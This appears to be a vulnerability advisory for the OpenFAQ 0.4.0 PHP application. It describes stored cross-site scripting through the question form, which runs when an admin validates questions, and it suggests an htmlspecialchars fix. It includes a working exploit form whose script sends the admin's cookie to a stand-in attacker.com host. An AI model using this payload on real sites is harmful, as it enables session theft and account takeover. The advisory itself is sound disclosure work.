Description:
OpenFAQ is a PHP application that lets Webmasters
administrate a Frequently Asked Questions section on their Web site.
It has an admin section for easily adding questions and answers and
editing the general configuration.
Problem:
A remote user can send via form a specially crafted data.
When admin try to validate questions in administration panel,
specially crafted data will be executed.
Example exploit:
<form action=http://host/openfaq-0.4.0/submit.php?ask=go method=post>
<input type=text name=q
value="<SCRIPT>document.location='http://attacker.com/get.cgi?
value='+escape(document.cookie)</SCRIPT>">
<input type=hidden name=email>
<input type=submit value=Submit>
</form>
Example fix:
file validate.php
35 while ($row = mysql_fetch_array($get_new)) {
36 echo "<b>".htmlspecialchars($row[question])."</b> (<a
href=delete.php?type=n&id=$row[id]>$lang[delete]</a>, <a
href=edit.php?type=n&id=$row[id]>$lang[editpublish]</a>)<br />";
